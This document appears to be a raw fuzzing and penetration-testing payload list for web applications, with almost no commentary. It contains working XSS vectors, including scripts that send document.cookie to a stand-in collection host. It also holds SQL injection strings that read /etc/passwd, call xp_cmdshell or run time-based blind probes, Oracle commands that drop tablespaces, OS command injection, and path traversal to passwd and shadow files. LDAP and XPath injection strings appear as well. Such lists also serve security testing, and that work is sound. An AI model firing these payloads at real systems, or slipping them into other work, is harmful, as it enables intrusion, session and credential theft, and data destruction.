| <TABLE><TD BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
| <BGSOUND SRC="javascript:alert('CrossSiteScripting');"> | |
| <BR SIZE="&{alert('CrossSiteScripting')}"> | |
| <A HREF="http://server.com/">CrossSiteScripting</A> | |
| <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">CrossSiteScripting</A> | |
| <A HREF="http://1113982867/">CrossSiteScripting</A> | |
| <A HREF="javascript:document.location='http://www.vulnerability-lab.com/'">CrossSiteScripting</A> | |
| <BASE HREF="javascript:alert('CrossSiteScripting');//"> | |
| \";alert('CrossSiteScripting');// | |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('CrossSiteScripting');"> | |
| <CrossSiteScripting STYLE="behavior: url(CrossSiteScripting.htc);"> | |
| ¼script¾alert(¢CrossSiteScripting¢)¼/script¾ | |
| <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(alert('CrossSiteScripting'))"> | |
| <CrossSiteScripting STYLE="CrossSiteScripting:expression(alert('CrossSiteScripting'))"> exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*"); CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(alert("CrossSiteScripting"))'> | |
| a="get"; | |
| b="URL(\""; | |
| c="javascript:"; | |
| d="alert('CrossSiteScripting');\")"; | |
| eval(v+l+a+b); | |
| <HTML xmlns:CrossSiteScripting> | |
| <?import namespace="CrossSiteScripting" implementation="http://ha.ckers.org/CrossSiteScripting.htc"> | |
| <CrossSiteScripting:CrossSiteScripting>CrossSiteScripting</CrossSiteScripting:CrossSiteScripting> | |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('CrossSiteScripting');">]]> | |
| </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:alert('CrossSiteScripting')"></B></I></XML> | |
| <SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| <XML SRC="CrossSiteScriptingtest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML><BODY> | |
| <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> | |
| <?import namespace="t" implementation="#default#time2"> | |
| <t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>alert("CrossSiteScripting")</SCRIPT>"> | |
| </BODY></HTML> | |
| <SCRIPT SRC="http://vulnerability-lab.com/CrossSiteScripting.jpg"></SCRIPT> | |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"--> | |
| <? echo('<SCR)'; | |
| echo('IPT>alert("CrossSiteScripting")</SCRIPT>'); ?> | |
| <IMG SRC="http://www.vulnerability-lab.com/file.php?variables=malicious"> | |
| Redirect 302 /vlab.jpg http://vulnerability-lab.com/admin.asp&deleteuser | |
| %3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E | |
| <iframe src=http://test.de> | |
| <iframe src=http://test.de> | |
| PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+ | |
| /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| ///////////////////////////////////////////////////////// SQL /////////////////////////////////////////////////////////////////////// | |
| //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| @version,NULL,NULL,NULL,NULL,NULL,NULL,NULL | |
| NULL,@version,NULL,NULL,NULL,NULL,NULL,NULL | |
| NULL,NULL,@version,NULL,NULL,NULL,NULL,NULL | |
| NULL,NULL,NULL,@version,NULL,NULL,NULL,NULL | |
| NULL,NULL,NULL,NULL,@version,NULL,NULL,NULL | |
| NULL,NULL,NULL,NULL,NULL,@version,NULL,NULL | |
| ‘1’OR’1? | |
| 1? OR ‘1’=’1 | |
| 1’or’1 | |
| 1%20and%20 1=1 | |
| ‘union select all 1,2,x,x,x,x — | |
| ‘union select 1,2,3,x,x,x,x,@@version,x– | |
| ‘union+select+banner,null,null,null,null+from+v$version– | |
| ‘union+select+user,null,null,null,null+from+dual– | |
| ‘union+select+global_name,null,null,null,null+from+global_name– | |
| ‘union+select+owner,null,null,null,null+from+all_tables– | |
| ‘union+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual– | |
| %27union+select+UTL_INADDR.get_host_name(‘INTERNALs-IP’),null,null,null,null+from+dual– | |
| 2+union+(select+load_file(‘/etc/passwd’),null,null,null,null,null,null,null,null,null,null,null+from+dual) | |
| 2+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual) | |
| ‘ and 1 = any (select 1 from users where FULL_NAME like ‘%%dministrator’ and rownum<=1 and PASSWORD like ‘0%’) and ‘1%%’=’1 | |
| Blind SQL Injection: | |
| 1%20and%20substring(version(),1,1)=5 | |
| (substring(version(),1,1)=5) | |
| 1?;select pg_sleep(2); — | |
| IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDEADBEEF)),SLEEP(3))/*’XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDEADBEEF)),SLEEP(3)))OR’|”XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDEADBEEF)),SLEEP(3)))OR”*/ | |
| http://test.com/default.asp?id=100 and 0<=(SELECT count(*) FROM [site]) and 1=1 —> WHITE PAGE -=> TABLE FOUND!http://test.com/default.asp?id=100 and 0<=(SELECT count(*) FROM [notatable]) and 1=1 —> ERROR -=> TABLE NOT FOUND! | |
| Oracle DBA useful queries: | |
| Below SQL queries can be executed if you gain access to any Oracle DB account which may have DBA privilege: | |
| select ‘ drop tablespace ‘ || tablespace_name ||’ including contents and datafiles;’ from dba_tablespaces where tablespace_name like ‘%DATA%’; | |
| If you are able to get output to the above query, you should also be able to execute the drop commands as well and it will be critical security vulnerability. But, do not execute drop commands while pen testing as the data will get deleted. | |
| shutdown abort | |
| Kills all existing processes in the database and shuts it down | |
| startup | |
| To start database | |
| select username, machine, program from v$session; | |
| To get list of all users, machines currently connected to a db | |
| NULL,NULL,NULL,NULL,NULL,NULL,@version,NULL | |
| NULL,NULL,NULL,NULL,NULL,NULL,NULL,@version | |
| and 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL | |
| ####INSERT | |
| )%20waitfor%20delay%20'0:0:20'%20/* | |
| )%20waitfor%20delay%20'0:0:20'%20-- | |
| ')%20waitfor%20delay%20'0:0:20'%20/* | |
| ')%20waitfor%20delay%20'0:0:20'%20-- | |
| ")%20waitfor%20delay%20'0:0:20'%20/* | |
| ")%20waitfor%20delay%20'0:0:20'%20-- | |
| ))%20waitfor%20delay%20'0:0:20'%20/* | |
| ))%20waitfor%20delay%20'0:0:20'%20-- | |
| '))%20waitfor%20delay%20'0:0:20'%20/* | |
| '))%20waitfor%20delay%20'0:0:20'%20-- | |
| "))%20waitfor%20delay%20'0:0:20'%20/* | |
| "))%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL)%20waifor%20delay%20'0:0:20'%20/* | |
| ',NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL)%20waifor%20delay%20'0:0:20'%20/* | |
| '),NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* | |
| "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- | |
| A | |
| TRUE | |
| FALSE | |
| 0 | |
| 00 | |
| 1 | |
| -1 | |
| 1.0 | |
| -1.0 | |
| 2 | |
| -2 | |
| -20 | |
| 65536 | |
| 268435455 | |
| -268435455 | |
| 2147483647 | |
| 0xfffffff | |
| NULL | |
| null | |
| \0 | |
| \00 | |
| < script > < / script> | |
| %0a | |
| %00 | |
| +%00 | |
| \0 | |
| \0\0 | |
| \0\0\0 | |
| \00 | |
| \00\00 | |
| \00\00\00 | |
| $null | |
| $NULL | |
| `id` | |
| `dir` | |
| ;id; | |
| ;read; | |
| ;netstat -a; | |
| \nnetstat -a%\n | |
| \"blah | |
| |id| | |
| ";id" | |
| id%00 | |
| id%00| | |
| |id | |
| |dir | |
| |dir| | |
| |ls | |
| |ls -la | |
| ;ls -la | |
| ;dir | |
| |/bin/ls -al | |
| \n/bin/ls -al\n | |
| ?x= | |
| ?x=" | |
| ?x=| | |
| ?x=> | |
| /index.html|id| | |
| /boot.ini | |
| /etc/passwd | |
| /etc/shadow | |
| ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x| | |
| ../../../../../../../../../../../../etc/hosts%00 | |
| ../../../../../../../../../../../../etc/hosts | |
| ../../boot.ini | |
| /../../../../../../../../%2A | |
| ../../../../../../../../../../../../etc/passwd%00 | |
| ../../../../../../../../../../../../etc/passwd | |
| ../../../../../../../../../../../../etc/shadow%00 | |
| ../../../../../../../../../../../../etc/shadow | |
| /../../../../../../../../../../etc/passwd^^ | |
| /../../../../../../../../../../etc/shadow^^ | |
| /../../../../../../../../../../etc/passwd | |
| /../../../../../../../../../../etc/shadow | |
| /./././././././././././etc/passwd | |
| /./././././././././././etc/shadow | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| /..\../..\../..\../..\../..\../..\../etc/passwd | |
| /..\../..\../..\../..\../..\../..\../etc/shadow | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| %0a/bin/cat%20/etc/passwd | |
| %0a/bin/cat%20/etc/shadow | |
| %00/etc/passwd%00 | |
| %00/etc/shadow%00 | |
| %00../../../../../../etc/passwd | |
| %00../../../../../../etc/shadow | |
| /../../../../../../../../../../../etc/passwd%00.jpg | |
| /../../../../../../../../../../../etc/passwd%00.html | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini | |
| \\'/bin/cat%20/etc/passwd\\' | |
| \\'/bin/cat%20/etc/shadow\\' | |
| ../../../../../../../../conf/server.xml | |
| /../../../../../../../../bin/id| | |
| C:/inetpub/wwwroot/global.asa | |
| C:\inetpub\wwwroot\global.asa | |
| C:/boot.ini | |
| C:\boot.ini | |
| ../../../../../../../../../../../../localstart.asp%00 | |
| ../../../../../../../../../../../../localstart.asp | |
| ../../../../../../../../../../../../boot.ini%00 | |
| ../../../../../../../../../../../../boot.ini | |
| /./././././././././././boot.ini | |
| /../../../../../../../../../../../boot.ini%00 | |
| /../../../../../../../../../../../boot.ini | |
| /..\../..\../..\../..\../..\../..\../boot.ini | |
| /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini | |
| \..\..\..\..\..\..\..\..\..\..\boot.ini | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini%00 | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini | |
| /../../../../../../../../../../../boot.ini%00.html | |
| /../../../../../../../../../../../boot.ini%00.jpg | |
| /.../.../.../.../.../ | |
| ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini | |
| %0d%0aX-Injection-Header:%20AttackValue | |
| !@#0%^#0##018387@#0^^**(() | |
| %01%02%03%04%0a%0d%0aADSF | |
| /,%ENV,/ | |
| <!--#exec%20cmd="/bin/cat%20/etc/passwd"--> | |
| <!--#exec%20cmd="/bin/cat%20/etc/shadow"--> | |
| % | |
| # | |
| * | |
| } | |
| ; | |
| / | |
| \ | |
| \\ | |
| \\/ | |
| \\\\* | |
| \\\\?\\ | |
| < | |
| < | |
| < | |
| < | |
| < | |
| << | |
| <<< | |
| | | |
| || | |
| ` | |
| - | |
| -- | |
| *| | |
| ^' | |
| \' | |
| /' | |
| @' | |
| (') | |
| {'} | |
| ['] | |
| *' | |
| #' | |
| !' | |
| !@#$%%^#$%#$@#$%$$@#$%^^**(() | |
| %01%02%03%04%0a%0d%0aADSF | |
| \t | |
| "\t" | |
| | |
| | |
| | |
| | |
| #xD | |
| #xA | |
| #xD#xA | |
| #xA#xD | |
| /%00/ | |
| %00/ | |
| %00 | |
| <? | |
| %3C | |
| %3C%3F | |
| %60 | |
| %5C | |
| %5C/ | |
| %7C | |
| %00 | |
| /%2A | |
| %2A | |
| %2C | |
| %20 | |
| %20| | |
| %250a | |
| %2500 | |
| ../ | |
| %2e%2e%2f | |
| ..%u2215 | |
| ..%c0%af | |
| ..%bg%qf | |
| ..\ | |
| ..%5c | |
| ..%%35c | |
| ..%255c | |
| ..%%35%63 | |
| ..%25%35%63 | |
| ..%u2216 | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| \x3c | |
| \x3C | |
| \u003c | |
| \u003C | |
| something%00html | |
| ' | |
| /' | |
| \' | |
| ^' | |
| @' | |
| {'} | |
| ['] | |
| *' | |
| #' | |
| ">xxx<P>yyy | |
| "><script>" | |
| <script>alert("XSS")</script> | |
| <<script>alert("XSS");//<</script> | |
| <script>alert(document.cookie)</script> | |
| '><script>alert(document.cookie)</script> | |
| '><script>alert(document.cookie);</script> | |
| \";alert('XSS');// | |
| %3cscript%3ealert("XSS");%3c/script%3e | |
| %3cscript%3ealert(document.cookie);%3c%2fscript%3e | |
| %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E | |
| <script>alert(document.cookie);</script> | |
| <script>alert(document.cookie);<script>alert | |
| <xss><script>alert('XSS')</script></vulnerable> | |
| <IMG%20SRC='javascript:alert(document.cookie)'> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC="javascript:alert('XSS')" | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=JaVaScRiPt:alert('XSS')> | |
| <IMG SRC=javascript:alert("XSS")> | |
| <IMG SRC=`javascript:alert("'XSS'")`> | |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG%20SRC='javasc ript:alert(document.cookie)'> | |
| <IMG SRC="jav ascript:alert('XSS');"> | |
| <IMG SRC="jav	ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="  javascript:alert('XSS');"> | |
| <IMG DYNSRC="javascript:alert('XSS')"> | |
| <IMG LOWSRC="javascript:alert('XSS')"> | |
| <IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E | |
| "><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script> | |
| %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} | |
| '';!--"<XSS>=&{()} | |
| ' | |
| " | |
| # | |
| - | |
| -- | |
| ' -- | |
| --'; | |
| ' ; | |
| = ' | |
| = ; | |
| = -- | |
| \x23 | |
| \x27 | |
| \x3D \x3B' | |
| \x3D \x27 | |
| \x27\x4F\x52 SELECT * | |
| \x27\x6F\x72 SELECT * | |
| 'or select * | |
| admin'-- | |
| <>"'%;)(&+ | |
| ' or ''=' | |
| ' or 'x'='x | |
| " or "x"="x | |
| ') or ('x'='x | |
| 0 or 1=1 | |
| ' or 0=0 -- | |
| " or 0=0 -- | |
| or 0=0 -- | |
| ' or 0=0 # | |
| " or 0=0 # | |
| or 0=0 # | |
| ' or 1=1-- | |
| " or 1=1-- | |
| ' or '1'='1'-- | |
| "' or 1 --'" | |
| or 1=1-- | |
| or%201=1 | |
| or%201=1 -- | |
| ' or 1=1 or ''=' | |
| " or 1=1 or ""=" | |
| ' or a=a-- | |
| " or "a"="a | |
| ') or ('a'='a | |
| ") or ("a"="a | |
| hi" or "a"="a | |
| hi" or 1=1 -- | |
| hi' or 1=1 -- | |
| hi' or 'a'='a | |
| hi') or ('a'='a | |
| hi") or ("a"="a | |
| 'hi' or 'x'='x'; | |
| @variable | |
| ,@variable | |
| PRINT @@variable | |
| select | |
| insert | |
| as | |
| or | |
| procedure | |
| limit | |
| order by | |
| asc | |
| desc | |
| delete | |
| update | |
| distinct | |
| having | |
| truncate | |
| replace | |
| like | |
| handler | |
| bfilename | |
| ' or username like '% | |
| ' or uname like '% | |
| ' or userid like '% | |
| ' or uid like '% | |
| ' or user like '% | |
| exec xp | |
| exec sp | |
| '; exec master..xp_cmdshell | |
| '; exec xp_regread | |
| t'exec master..xp_cmdshell 'nslookup www.google.com'-- | |
| --sp_password | |
| \x27UNION SELECT | |
| ' UNION SELECT | |
| ' UNION ALL SELECT | |
| ' or (EXISTS) | |
| ' (select top 1 | |
| '||UTL_HTTP.REQUEST | |
| 1;SELECT%20* | |
| to_timestamp_tz | |
| tz_offset | |
| <>"'%;)(&+ | |
| '%20or%201=1 | |
| %27%20or%201=1 | |
| %20$(sleep%2050) | |
| %20'sleep%2050' | |
| char%4039%41%2b%40SELECT | |
| '%20OR | |
| 'sqlattempt1 | |
| (sqlattempt2) | |
| | | |
| %7C | |
| *| | |
| %2A%7C | |
| *(|(mail=*)) | |
| %2A%28%7C%28mail%3D%2A%29%29 | |
| *(|(objectclass=*)) | |
| %2A%28%7C%28objectclass%3D%2A%29%29 | |
| ( | |
| %28 | |
| ) | |
| %29 | |
| & | |
| %26 | |
| ! | |
| %21 | |
| ' or 1=1 or ''=' | |
| ' or ''=' | |
| x' or 1=1 or 'x'='y | |
| / | |
| // | |
| //* | |
| */* | |
| @* | |
| count(/child::node()) | |
| x' or name()='username' or 'x'='y | |
| <name>','')); phpinfo(); exit;/*</name> | |
| <![CDATA[<script>var n=0;while(true){n++;}</script>]]> | |
| <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | |
